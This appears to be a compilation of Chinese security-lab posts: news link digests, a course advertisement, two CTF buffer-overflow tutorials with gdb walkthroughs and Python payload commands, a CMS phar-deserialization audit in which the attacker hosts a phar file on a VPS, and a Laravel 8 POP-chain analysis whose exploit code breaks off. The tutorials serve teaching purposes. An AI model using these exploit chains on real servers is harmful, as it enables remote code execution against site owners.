网络安全日报 2021年03月12日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、施耐德智能电表中发现严重漏洞
https://www.securityweek.com/serious-vulnerabilities-found-schneider-electric-power-meters
2、Facebook暂停到香港海底数据光缆项目
https://www.securityweek.com/facebook-halts-project-undersea-data-cable-hong-kong
3、研究人员发布针对Exchange漏洞的PoC
https://securityaffairs.co/wordpress/115513/hacking/microsoft-exchange-exploit-code.html
4、数十个APT组织利用Exchange漏洞进行攻击
https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/
5、Lazarus Group利用Mata 框架部署TFlower勒索软件
https://cyware.com/news/lazarus-group-using-mata-framework-to-deliver-tflower-ransomware-17319d23
6、WordPress插件中严重漏洞可导致网站被接管
https://securityaffairs.co/wordpress/115451/hacking/the-plus-addons-for-elementor-wordpress-flaw.html
7、西班牙政府劳工部办公室遭Ryuk勒索软件攻击
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-hits-700-spanish-government-labor-agency-offices/
8、英特尔和微软与DARPA合作研发DPRIVE计划
https://www.helpnetsecurity.com/2021/03/09/intel-darpa-dprive/
9、恶意NPM包利用依赖关系混淆漏洞针对Amazon、Zillow等应用
https://cyware.com/news/dependency-confusion-exploit-being-used-to-create-more-copycat-packages-09f4133d
10、CISA将在4月接管gov顶级域名管理权
https://www.govinfosecurity.com/cisa-will-manage-gov-domain-in-effort-to-enhance-security-a-16159
CTF PWN之精确覆盖变量数据
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
刚开始接触pwn的朋友在做pwn练习时可能会有这样的疑问,怎么做到精确覆盖变量数据呢?
我们做pwn练习之前需要先知道:命令行参数C语言的main函数拥有两个参数,为int类型的argc参数,以及char**类型argv参数。其中argc参数的值表示命令行参数的个数,而argv则指向一个字符串数组,该数组存储了具体的命令行参数的内容。
这里就用今天的实验,给大家介绍一下!
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110113362900001(在掌握大小端字节序表示法的基础上,通过精心构造的输入数据溢出缓冲区,实现对modified变量的值进行精确覆盖,以达到修改程序执行逻辑的目的。)
看下面的例子 打印命令行参数信息的示例代码(位于/home/test/2目录下):
#include <stdio.h>
int main(int argc, char** argv)
{
int i;
for (i = 0; i < argc; ++i)
{
printf("argv[%d] = %s\n", i, argv[i]);
}
return 0;
}
注意程序本身的名字为命令行的第一个参数。编译这段代码生成test程序,然后在命令行下执行,尝试传入命令行参数,如:./test hello world cmdline,可以看到程序打印出了具体的命令行参数信息:
xargs命令Linux的xargs命令可以将输入数据当做命令行参数传给指定的程序。比如执行命令python -c "print 'AAA BBB CCC'" | xargs ./test后,输出:
python语句执行后输出AAA BBB CCC,通过管道操作作为xargs命令的输入,而xargs将其作为test程序的命令行参数,因此test程序会把这些信息打印出来。
小白:就是我们借助xargs可以把输入数据当成命令行参数输给这个程序。
大东:对的,另外还需要讲的是一个字节序 字节顺序,又称端序或尾序(英语:Endianness)。对于内存中存储的0x11223344这样一个值,从低地址往高地址方向的每一个字节来看,其内容在内存里的分布可能为0x11,0x22,0x33,0x44,也可能为0x44,0x33,0x22,0x11。
这就涉及到两种存储规则:大端格式和小端格式。示意图如下图所示:
0x11223344中的最高的字节为0x11,最低的字节为0x44,我们只要记住小端格式是“高存高,低存低”的规律,就很好的理解了。即小端格式中,高位字节存储于内存的高地址处,而低位字节存储于内存的低地址处。
Intel、AMD等系列的处理器都是小端格式的。
小白:不同的程序如果字节序不一样,我们输入的值也要不一样是这个意思吗?
大东:不错啊,越来越机智了没白教你。
小白:嘿,我们快开始实验吧。
大东:老规矩先看一下实验描述。
题目描述:
主机/home/test/2目录下有一个pwn2程序,这个程序会对传入的命令行参数进行处理,通过构造特定的命令行参数数据可以对程序发起溢出攻击,成功会提示Congratulations, you pwned it.,失败则会提示Please try again.的提示信息。
第一步源码审计使用cd /home/test/2切换到程序所在目录,执行cat pwn2.c即可看到源代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char** argv)
{
int modified;
char buffer[64];
if (argc == 1)
{
printf("please specify an argument\n");
exit(1);
}
modified = 0;
strcpy(buffer, argv[1]); // 引发缓冲区溢出
if (modified == 0x61626364)
{
printf("Congratulations, you pwned it.\n");
}
else
{
printf("Please try again, you got 0x%08X\n", modified);
}
return 0;
}
这源码要怎么pwn掉它呢?
我们可以尝试一个姿势,使用strcpy函数复制字符串时,并不会对目标缓冲区的长度进行检查,当源字符串的长度超过目标缓冲区的长度时会引发缓冲区溢出。这里当输入的超长的命令行参数数据时,将会产生缓冲区溢出,数据覆盖buffer后会继续覆盖modified变量。
这个程序有一个条件modified ==**,**那么要多少才能pwn出去呢?0x61626364
我们来继续分析,执行gdb pwn2即可开始通过gdb对pwn2进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可:
下面是对main函数中的汇编代码的解释:
0x080482a0 <+0>: push %ebp
0x080482a1 <+1>: mov %esp,%**ebp**
0x080482a3 <+3>: and $0xfffffff0,%**esp**
; esp = esp - 0x60,即在栈上分配0x60)字节的空间
0x080482a6 <+6>: sub $0x60,%**esp**
; 判断命令行参数的个数是否为1
0x080482a9 <+9>: cmpl $0x1,0x8(%**ebp)**
0x080482ad <+13>: jne 0x80482c7 <main+39>
0x080482af <+15>: movl $0x80b3dac,(%**esp)**
0x080482b6 <+22>: call 0x80493c0 <puts>
0x080482bb <+27>: movl $0x1,(%**esp)**
0x080482c2 <+34>: call 0x8048e90 <exit>
; 命令参数个数不是1,说明传入了命令行参数
; modified变量位于esp + 0x5C处,将其初始化为0
0x080482c7 <+39>: movl $0x0,0x5c(%**esp)**
; 通过ebp + 0xC获取argv参数的值
0x080482cf <+47>: mov 0xc(%**ebp),%eax**
; eax = eax + 4
0x080482d2 <+50>: add $0x4,%**eax**
; 取argv[1]的值
0x080482d5 <+53>: mov (%**eax),%eax**
; 将argv[1]作为strcpy的第二个参数值
0x080482d7 <+55>: mov %eax,0x4(%**esp)**
; buffer位于esp + 0x1C处,buffer作为strcpy的第一个参数值
0x080482db <+59>: lea 0x1c(%**esp),%eax**
0x080482df <+63>: mov %eax,(%**esp)**
; 调用strcpy进行字符串复制
0x080482e2 <+66>: call 0x80525b0 <strcpy>
; 判断modified的值是否为0x61626364
0x080482e7 <+71>: cmpl $0x61626364,0x5c(%**esp)**
; 不相等则跳转并输出失败信息
0x080482ef <+79>: jne 0x80482ff <main+95>
; 输出成功提示信息
0x080482f1 <+81>: movl $0x80b3dc8,(%**esp)**
0x080482f8 <+88>: call 0x80493c0 <puts>
0x080482fd <+93>: jmp 0x8048314 <main+116>
0x080482ff <+95>: mov $0x80b3de8,%**eax**
0x08048304 <+100>: mov 0x5c(%**esp),%edx**
0x08048308 <+104>: mov %edx,0x4(%**esp)**
0x0804830c <+108>: mov %eax,(%**esp)**
0x0804830f <+111>: call 0x8049390 <printf>
0x08048314 <+116>: mov $0x0,%**eax**
0x08048319 <+121>: leave
0x0804831a <+122>: ret
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x1C处,而modified位于esp+0x5C处,两个地址的距离为0x5C - 0x1C = 0x40,即64,刚好为buffer数组的大小。因此当我们输入的数据超过64字节时,modified变量就可以被覆盖,但需要控制modified变量的值还需要小心的构造命令行参数。
下面在gdb中进行验证,在gdb中执行b * 0x080482e7命令对strcpy的下一条指令下一个断点:
在gdb中执行r命令,如下(r后面的数据为64个A以及1234):
r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1234
即r命令后加上空格可以接一个命令行参数,用于传递给被调试的程序。按下Enter键程序就在断点处断下了:
在gdb中输入x $esp+0x5C,查看modified变量的值已经被修改成了0x34333231,而0x31为字符’1’的ASCII值,0x32为字符’2’的ASCII值,0x33为字符’3’的ASCII值,0x34为字符’4’的ASCII值:
使用x /4xb $esp+0x5C命令,以字节为单位查看内存中0x34333231的表示(其中/4xb用于控制输出格式,4表示4个长度单位,x表示以16进制方式显示,b表示单位为字节):
现在modified变量的值已经被修改成0x34333231了,结合我们的输入数据‘A….A1234’,1234为低地址往高地址方向,可以判断这是小端格式的表示法。
在gdb中输入c命令就可以让程序继续执行,看到输出了错误的提示信息:
现在我们只要合理控制命令行参数的第65~68字节的内容,就可以成功发起溢出攻击了。
通过上面的步骤我们已经知道,只要合理控制命令行参数的第65~68字节的内容,就可以成功发起溢出攻击了。因为目标机器采用小端格式存储数据,而if语句分支要求modified的值为0x61626364时才通过判断,因此我们构造的数据应该为\x64\x63\x62\x61。如果你还没有退出gdb,输入q命令就可以退出gdb。下面通过python语句构造输入数据,然后通过xargs传给pwn2程序,执行命令:
python -c "print 'A'*64+'\x64\x63\x62\x61'" | xargs ./pwn2
看到已经成功发起了溢出攻击,程序被PWN掉啦!
其实0x61为字符a的ASCII值,因此输入如下的命令同样能达到攻击效果:
python -c "print 'A'*64+'dcba'" | xargs ./pwn2
这次的实验真的很费脑筋,分析处理了好多数据,才得到结果。
更多精彩实验,蚁景网安实验室专业为您提供,注册实战起来!
对某cms的一次审计思路
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
漏洞的审计
源头是在/src/extend/extcore/ImageCrop.php/crop这个方法里面发现有个getimagesize函数,这个函数是能够触发phar反序列化漏洞的,而这个 cms 是基于 thinkphp5.1 框架二次开发的,这个框架有个反序列化漏洞相信大家都很熟悉了,所以我们的目的就是能控制$imgData这个变量就行了
可以看到$imgData是由$this->getImgData($img);控制的,我们跟踪进去
private function getImgData($img){ if(strripos($img, 'http://')!==FALSE OR strripos($img,'https://') !==FALSE) { //站外图片 $data=file_get_contents($img); }else{ //站内图片 $file=DOC_ROOT.'/'.$img; if(is_file($file)) { $data = file_get_contents($file); }else{ return false; } } return $data; }
可以看到这里会限制只能由http://或者https://开头的参数才能获取站外的图片信息
再看看全局搜索crop这个方法看看哪里会调用他
我们在src/application/task/controller/UtilController.php/cropimage发现有个crop_image函数,我们跟踪进去
function crop_image($file, $options){ // echo $file; $imageCrop=new \extcore\ImageCrop($file, $options); return $imageCrop->crop(); }
发现这里会调用到我们上面的crop函数
这里的$file参数也就是我们传给getImgData函数的$img变量,所以这里我们看看如何去控制他,可以看到crop_image方法里面有一个$paths=explode('.',$img);,就是会根据点去分隔我们的$img参数,然后又要count($paths)==3,我们可以回想到getImgData限制了http的开头,我们想要phar反序列化的话,必须是phar://的开头,那么我们直接在vps上放置我们的phar文件的路径不就可以了
但是这里有一个问题,我们正常输入一个IP地址的话肯定是不行的,因为他的count($paths)==3,所以我们可以使用十六进制绕过的方法,所以也就限制了这种方法只能在linux下面使用,这里顺便贴一下之前写的一个转进制的脚本
<?php $ip = '127.0.0.1'; $ip = explode('.',$ip); $r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ; if($r < 0) { $r += 4294967296; } echo "十进制:"; echo $r; echo "八进制:"; echo decoct($r); echo "十六进制:"; echo dechex($r); ?>
我们在$ip处贴上自己的vps的地址,这里要注意生成的十六进制前面要加上0x
然后cacheimage函数的
$response = crop_image($paths[0].'.'.$paths[2], $args);
$paths[0].'.'.$paths[2]就是我们想要控制的参数,因为前面explode把我们的url地址分成了3份,这里把第一份和第三份拼接了起来,于是我们可以构造类似于http://vps-ip/1.1.txt的形式,这里样我们的$paths[0].'.'.$paths[2]也就成为了1.txt也就是我们可控的东西了,同时这里也明白了为什么要将vps-ip转成16进制的原因了
我们同时在vps上放置test.phar的路径,这个cms后台是可以上传jpg文件的,当然phar反序列化的话即使是jpg后缀的文件也是能够成功反序列的,这里我为了方便直接放在根目录下
到了这一步我们的思路基本就清晰了,我们测试一下$img是否能够正确的打印出来,可以手动添加一个echo $img;
我们访问一下cacheimage的路由
可以看到我们的$img变成了1.txt,getimagesize函数里面也成功接收到我们放在1.txt里面的内容
我们再cmd传参我们的命令即可看到漏洞已经成功利用
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID5504-22b1-44f6-984f-1339663ac214 (通过本节的学习,了解文件上传漏洞的原理,通过代码审计掌握文件上传漏洞产生的原因、上传绕过的方法以及修复方法。)
总结
漏洞已经上交于cnvd平台,然后这个漏洞由于十六进制绕过的问题,只能在linux下才可以成功实现,所以可以把cms放在docker里面进行测试,然后在一些小的cms里面关于phar反序列化漏洞还是比较好找的,因为一般来说后台都是能够上传jpg格式的文件,能够触发phar的函数也蛮多的
用实战磨练技术,加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年03月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、F5修补了Big-IP Suite中的四个高危漏洞
https://www.securityweek.com/f5-patches-four-critical-bugs-big-ip-suite
2、研究人员证明和测试了针对苹果M1芯片的侧信道攻击
https://www.securityweek.com/researchers-show-first-side-channel-attack-against-apple-m1-chips
3、白帽黑客获取了包括特斯拉、银行、学校等超过15W个摄像头权限
https://securityaffairs.co/wordpress/115466/hacking/surveillance-cameras-hacked.html
4、欧洲最大的托管服务提供商OVH一座数据中心遭大火摧毁
https://securityaffairs.co/wordpress/115457/breaking-news/ovh-data-centers-fire.html
5、基于Nim的恶意软件加载器通过鱼叉钓鱼邮件传播
https://threatpost.com/nim-based-malware-loader-spreads-via-spear-phishing-emails/164643/
6、 Adobe发布更新修复了产品中任意代码执行漏洞
https://threatpost.com/adobe-critical-flaws-windows/164611/
7、Clast82恶意软件通过谷歌Play商店分发间谍木马
https://thehackernews.com/2021/03/9-android-apps-on-google-play-caught.html
8、西门子修复了第三方组件中的漏洞
https://www.securityweek.com/siemens-releases-several-advisories-vulnerabilities-third-party-components
9、苹果发布安全补丁程序修复了远程代码执行漏洞
https://securityaffairs.co/wordpress/115423/hacking/apple-cve-2021-1844-rce.html
10、SAP修复了MII,NetWeaver产品中关键漏洞
https://www.securityweek.com/sap-patches-critical-flaws-mii-netweaver-products
网络安全日报 2021年03月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Microsoft周二发布安全更新修复了89个漏洞
https://www.securityweek.com/microsoft-ships-massive-security-patch-bundle
2、苹果发布更新修复WebKit中远程代码执行漏洞
https://www.securityweek.com/apple-patches-remote-code-execution-bug-webkit
3、GitHub通知用户严重的身份验证漏洞
https://www.securityweek.com/github-informs-users-potentially-serious-authentication-bug
4、研究人员发现针对Intel CPU新的侧通道攻击方法
https://www.securityweek.com/new-side-channel-attack-targets-intel-cpu-ring-interconnect
5、法国Oloron-Sainte-Marie医院遭勒索软件攻击
https://securityaffairs.co/wordpress/115434/cyber-crime/french-hospital-ransomware-attack.html
6、欧洲银行管理局(EBA)Exchange服务器遭黑客攻击
https://securityaffairs.co/wordpress/115396/data-breach/eba-microsoft-exchange-hacked.html
7、UnityMiner挖矿活动针对QNAP NAS设备
https://securityaffairs.co/wordpress/115403/hacking/unityminer-qnap-nas-devices.html
8、新的Sarbloh勒索软件针对印度特定的政治实体
https://www.technadu.com/sarbloh-ransomware-targets-specific-political-entities-india/253061/
9、Guardians应用存在漏洞泄露了用户的实时位置
https://ciso.economictimes.indiatimes.com/news/truecallers-guardians-app-was-leaking-live-location-details-issue-fixed/81394070
10、威廉姆斯新FW43B汽车发布会遭黑客破坏
https://securityaffairs.co/wordpress/115377/hacking/williams-fw43b-launch-hackers.html
看了N多干货?为什么你的渗透技能还是没有提升
在调查数百位渗透测试学习人员过程中,我们发现,部分人员仍然存在以下问题,一方面渴望提高,另一方面没找到真正的目标着力点。久而久之,陷入错误的习惯中。
如果你的浏览器收藏夹里保存着各大网安学习网站,每天都登陆这些网站,基本上关于网安学习的文章“照单全收”,看完以后还觉得收获颇丰,有种如沐春风的感觉。
那么恭喜你,你可能要“废”了。
很多时候看这些文章并没有什么用,甚至可能把你变成一个只会夸夸其谈的理论家。
并不是说这些文章写的不好,而是对于一些非常有价值的文章,你需要有一个正确的“打开方式”,才能从这些文章之中汲取到“营养”。
不管是在哪个行业,新人刚入行,唯一的进阶方式就是脚踏实地地多实践,多练习、多思考,多总结。也就是所谓的正确的“打开方式”,你需要把输入的方法论与实践操作相结合,从而输出适合你自己的学习经验。
为了帮助你更好地掌握基本的渗透测试实践能力,我推荐《渗透测试实战训练营》,课程除了理论教学外,配套了对应的课后实战作业,方法论与实践操作充分结合,从而输出适合你自己的学习经验。
课程包含7 节课 + 3 个实战练习 + 7天社群服务 + 实战作业反馈 ,原价198元,限时只需要2分钱 !课程第一节课将于 3月10日(15:00)开课,最后三天,赶紧抢购吧!
报名链接:https://ke.qq.com/course/3292015?flowToken=1032537
2分钱,你不仅能了解渗透测试岗位的知识体系,掌握渗透测试的2-3个核心技能:快速入门渗透框架,深入利用目标靶机,钓鱼攻击&拓展框架。并能在最短时间内学完就实战。
除此之外,课程还包含一份100%有用的渗透测试学习常见的工具及学习资料包(足足4个G哟),涉及虚拟机安装包、漏洞扫描工具及信息收集、权限提升、密码字典学习资料等等,我们都为你整理总结好了。
01.这门课,你将学会什么?
一、正确看待渗透测试的职业成长和发展
当你想快速进入一个行业的时候,第一步不是直接开始学习,而是梳理这个行业的知识体系,或者你这个行业所需要的掌握的必备能力,然后一步一步进行拆解。
当你拆解成各个能力模块的时候,你的执行力会提高,因为你知道你需要每天做什么。
大多数事情,包括吸纳新知识:做的时候会面临压力、困难,但当你到达一定阶段,并获得一定成果,从中收获到的正反馈、胜任感。这就是无价的。
二、针对性实战训练
了解整体的学习路径后,我们有针对性的选择了3个核心技能带大家“实战训练”。
我们知道,任何职场上的能力,都需要通过实操才能确认是否真正掌握,而渗透测试,实操技能要求比其他岗位更强。
为了让你更好的掌握课程中的知识,我们特别在蚁景网安实验室设计了3个靶场实战作业,让你学完就练,练完就能上手,及时检验所学知识,查缺补漏,详细安排如下:
报名链接:https://ke.qq.com/course/3292015?flowToken=1032537
02.课程配套哪些服务?
除了优质的课程内容和实操作业
我们还提供7天高质量班级服务,专业的班主任会在班级群里提供干货分享 + 答疑服务+作业催收,学员完成实战作业后,老师定时讲解作业重点、难点,确保学员真正掌握所学知识!(全勤到课且按时完成靶场作业的有优秀学员奖励哟!)
另外,班主任还会提供全程督学服务,在督促你按时到课的同时,帮你做业务诊断+就业推荐绿色通道(1v1免费推荐面试)。
03.这门课适合谁?
首先,如果你是信息安全专业在校学生,想通过学习从事安全相关工作,那么不要犹豫,这门课程是为你量身定制的,它非常适合你,因为课程配套了高强度的靶场实操训练,补足你在日常学习过程中实操经验不足等问题!
其次,这门课程也适合对黑客渗透技术感兴趣,却不知道怎么入门的同学——可能你对黑客这个群体的印象,只是局限于:是一群玩计算机很厉害的人,能通过电脑一顿操作就拿下一个网站,拿下一个服务器的权限。但是可能并不知道黑客是通过什么方法技巧来达到这个效果的,那么学完这门课,你将正式进入黑客的世界。
最后,未来的互联网行业中一定需要更多的复合型人才,所以,如果你是做功能测试的,做运维的、做开发的更应该好好学习这个课程,在你们的日常工作中,可能会经常会碰到服务器被攻击,收到各种异常攻击告警,但是却因为不了解黑客攻击技术,而无法定位黑客攻击路径并阻止攻击行为。所以如果你想你的职业再上一个台阶,安全是你必不可少的一个技能!
以上,就是这样一门包含诸多干货内容++资料包+实操作业+ 1 V 1 服务的课程。
不要 999 ,也不要 99 ,只要 2 分钱(收取2分钱是为了方便提供录播,相当于免费)!
本课程第一节课即将于3月10日(星期三) 15:00开课,赶快长按识别下方图片中的二维码报名吧!
报名链接:https://ke.qq.com/course/3292015?flowToken=1032537
CTF-记一次PWN练习
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
PWN是一个黑客语法的俚语词,自"own"这个字引申出来的,这个词的含意在于,玩家在整个游戏对战中处在胜利的优势,或是说明竞争对手处在完全惨败的情形下,这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个游戏对战中已经完全被击败(例如:"You just got pwned!")。有一个非常著名的国际赛事叫做Pwn2Own,即通过打败对手来达到拥有的目的。
在CTF中PWN题型通常会直接给定一个已经编译好的二进制程序(Windows下的EXE或者Linux下的ELF文件等),然后参赛选手通过对二进制程序进行逆向分析和调试来找到利用漏洞,并编写利用代码,通过远程代码执行来达到溢出攻击的效果,最终拿到目标机器的shell夺取flag。
又到了介绍工具的时候了!首先了解一下gdb。
gdb是Linux下常用的一款命令行调试器,拥有十分强大的调试功能。本实验中需要用到的gdb命令如下:
这个工具类似逆向里面的IDA这类的神器。
除了工具还需要知道一些简单的汇编基础,读懂常见的汇编指令是CTF竞赛中PWN解题的基本要求,本实验中需要理解的汇编指令如下:
汇编语言中,esp寄存器用于指示当前函数栈帧的栈顶的位置,函数中局部变量都存储在栈空间中,栈的生长方向是向下的(即从高地址往低地址方向生长)。
缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,使得溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。
本文涉及知识点实操练习: https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014103116591300001(PWN是CTF竞赛中的主要题型之一,主要考查参赛选手的逆向分析、漏洞挖掘以及Exploit编写能力。CTF-PWN系列实验以最常见的栈溢出为主线,通过由浅入深的方式,一步一步讲解栈溢出攻击原理与实践,同时详细介绍了Linux下GDB调试器的基本使用方法。)。
先看题目描述,跟看web源码一样重要,主机/home/test/1目录下有一个pwn1程序,执行这个程序的时候可以输入数据进行测试,pwn1程序会输出Please try again.的提示信息,请对pwn1程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之输出Congratulations, you pwned it.信息。
首先第一步源码审计在实际的CTF竞赛的PWN题目中,一般是不会提供二进制程序的源代码的。这里为了方便大家学习,给出二进制程序的C语言源代码供大家分析,以源码审计的方式确定漏洞所在位置,方便后续进行汇编级别的分析。
(在没有源代码的情况下,我们通常使用IDA Pro对二进制程序进行逆向分析,使用IDA的Hex-Rays插件可以将反汇编代码还原为C语言伪代码,可以达到类似源代码的可读效果,在后期的实验中会专门对IDA的使用进行讲解)
使用cd /home/test/1切换到程序所在目录,执行cat pwn1.c即可看到源代码:
#include <stdio.h>
int main(int argc, char** argv)
{
int modified;
char buffer[64];
modified = 0;
gets(buffer); // 引发缓冲区溢出
if (modified != 0)
{
printf("Congratulations, you pwned it.\n");
}
else
{
printf("Please try again.\n");
}
return 0;
}
我们看这里使用gets函数读取输入数据时,并不会对buffer缓冲区的长度进行检查,输入超长的输入数据时会引发缓冲区溢出。
漏洞找到了,我们来看利用过程执行gdb pwn1即可开始通过gdb对pwn1进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可:
下面是对main函数中的汇编代码的解释:
0x080482a0 <+0>: push %ebp
0x080482a1 <+1>: mov %esp,%**ebp**
0x080482a3 <+3>: and $0xfffffff0,%**esp**
; esp = esp - 0x60,即在栈上分配0x60)字节的空间
0x080482a6 <+6>: sub $0x60,%**esp**
; modified变量位于esp + 0x5C处,将其初始化为0
0x080482a9 <+9>: movl $0x0,0x5c(%**esp)**
; buffer位于esp + 0x1C处
0x080482b1 <+17>: lea 0x1c(%**esp),%eax**
0x080482b5 <+21>: mov %eax,(%**esp)**
; 调用gets(buffer)读取输入数据
0x080482b8 <+24>: call 0x8049360 <gets>
; 判断modified变量的值是否是0
0x080482bd <+29>: cmpl $0x0,0x5c(%**esp)**
; 如果modified的值等于0,就跳转到 0x080482d2
0x080482c2 <+34>: je 0x80482d2 <main+50>
; modified不为0,打印成功提示
0x080482c4 <+36>: movl $0x80b3eec,(%**esp)**
0x080482cb <+43>: call 0x8049500 <puts>
0x080482d0 <+48>: jmp 0x80482de <main+62>
; modified为0,打印失败提示
0x080482d2 <+50>: movl $0x80b3f0b,(%**esp)**
0x080482d9 <+57>: call 0x8049500 <puts>
0x080482de <+62>: mov $0x0,%**eax**
0x080482e3 <+67>: leave
0x080482e4 <+68>: ret
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x1C处,而modified位于esp+0x5C处,两个地址的距离为0x5C - 0x1C = 0x40,即64,刚好为buffer数组的大小。因此当我们输入的数据超过64字节时,modified变量就可以被覆盖。
下面在gdb中进行验证,在gdb中执行b *0x080482bd命令对gets的下一条指令下一个断点:
在gdb中执行r命令,让被调试的pwn1程序跑起来,就可以输入数据进行测试了,这里我们输入64个A以及1个B(即AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB),按下Enter键程序就在断点处断下了:
在gdb中输入x $esp+0x5C,查看modified变量的值已经被修改成了0x00000042,而0x42就是字符’B’的ASCII值,表明我们成功用输入数据的第65个字节覆盖了modified变量:
在gdb中连续两次执行ni命令,可以看到je指令没有跳转,说明modified的值不为0,程序进入输出通过信息的if语句分支:
在gdb中输入c命令就可以让程序继续执行,看到输出了通过提示信息:
通过上面的步骤我们已经知道了如果控制输入数据来进行攻击,以达到进入if语句分支的目的。下面我们就可以通过构造输入数据进行攻击了。
如果你还没有退出gdb,输入q命令就可以退出gdb。下面通过python语句构造输入数据,然后通过管道传给pwn1程序,执行命令python -c "print 'A'*64+'B'" | ./pwn1
看到已经成功发起了溢出攻击,程序被你PWN掉啦!
想学习更多CTF技术?加入网安实验室,1300+网安技能任你学!
Laravel 8 反序列化分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
forward
laravel的版本已经到了8;这里分析一个laravel8的反序列化漏洞,但是让我感到意外的是,这个漏洞竟然在低版本的laravel上依然可以存在,从根本来说这个漏洞是laravel的mockery组件漏洞,没想到一直没修;
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID49a7-7e01-41dd-9edd-c051743c427f (Fastjson是阿里巴巴公司开源的一款json解析器,在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。)
text
首先还是老样子,熟悉laravel的pop链的师傅肯定比较熟悉,入口点还是PendingBroadcast.php中的析构函数;
public function __destruct() { $this->events->dispatch($this->event); }
这里很明显可以控制任意类下的dispatch函数;这里还是选择Dispatcher.php进行续链;
public function dispatch($command) { return $this->queueResolver && $this->commandShouldBeQueued($command) ? $this->dispatchToQueue($command) : $this->dispatchNow($command); }
这里简单的看下源码,感兴趣的师傅可以拿着laravel5的源码来进行对比,这里只不过是写成了三元运算的形式,本质上还是一样的,我们控制queueResolver变量和commandShouldBeQueued函数,使其返回为真,这样就可进入dispatchToQueue函数;这里审计下类不难发现queueResolver是我们可控的变量,然而commandShouldBeQueued函数我们可以追溯一下;
protected function commandShouldBeQueued($command) { return $command instanceof ShouldQueue; }
这里不难发现,是需要我们的command是继承ShouldQueue接口的类就可;所以全局搜索;选择BroadcastEvent.php的类;然后便可返回true,然后进入dispatchToQueue函数;回溯一下dispatchToQueue函数;
public function dispatchToQueue($command) { $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection);
可以发现这里有个危险函数call_user_func;可以直接实现任意类下的任意方法;这里就可直接跳转到我们想要执行的方法下;全局搜索一下eval方法;发现存在;
class EvalLoader implements Loader { public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); } }
call_user_func函数在第一个参数为数组的时候,第一个参数就是我们选择的类,第二个参数是类下的方法;所以这里直接去到EvalLoader类,去执行load方法从而调用到eval函数;这里发现存在参数,而且参数必须是MockDefinition类的实例;也即是意味着我们connection需要为MockDefinition类的实例;
继续审计发现,必须if为false才会触发eval方法;所以这里我们需要直接追溯到MockDefinition类中;
class MockDefinition { protected $config; protected $code; public function __construct(MockConfiguration $config, $code) { if (!$config->getName()) { throw new \InvalidArgumentException("MockConfiguration must contain a name"); } $this->config = $config; $this->code = $code; } public function getCon
看下getClassName函数;这里的config是可控的,所以我们直接找到一个存在getName方法并且可控该方法的类;全局搜索下找到MockConfiguration.php可以实现;
protected $name; public function getName() { return $this->name; }
因为最后是要经过class_exit函数的判断的,所以我们可以直接控制其返回一个不存在的类,就会造成false从而进入eval方法;继续回到eval方法;
class EvalLoader implements Loader { public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); } }
这里还有个getCode方法,我们通过上面的类也可审计getCode方法;code在MockDefinition类中也是可控的,所以我们可以随意的控制其内容,那么我们就可命令执行;放出我exp:
<?php namespace Illuminate\Broadcasting{ use Illuminate\Contracts\Events\Dispatcher; class PendingBroadcast { protected $event; protected $events; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } } } namespace Illuminate\Bus{ class Dispatcher { protect
这里为了节省时间,我最后用abcdef直接代替了,造成rce;
细心的师傅想必也发现了;在最开始的call_user_func处,也是可以进行命令执行的;
public function dispatchToQueue($command) { $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection);
这里可以直接控制进行命令执行;这个很简单,就直接放出我exp吧;
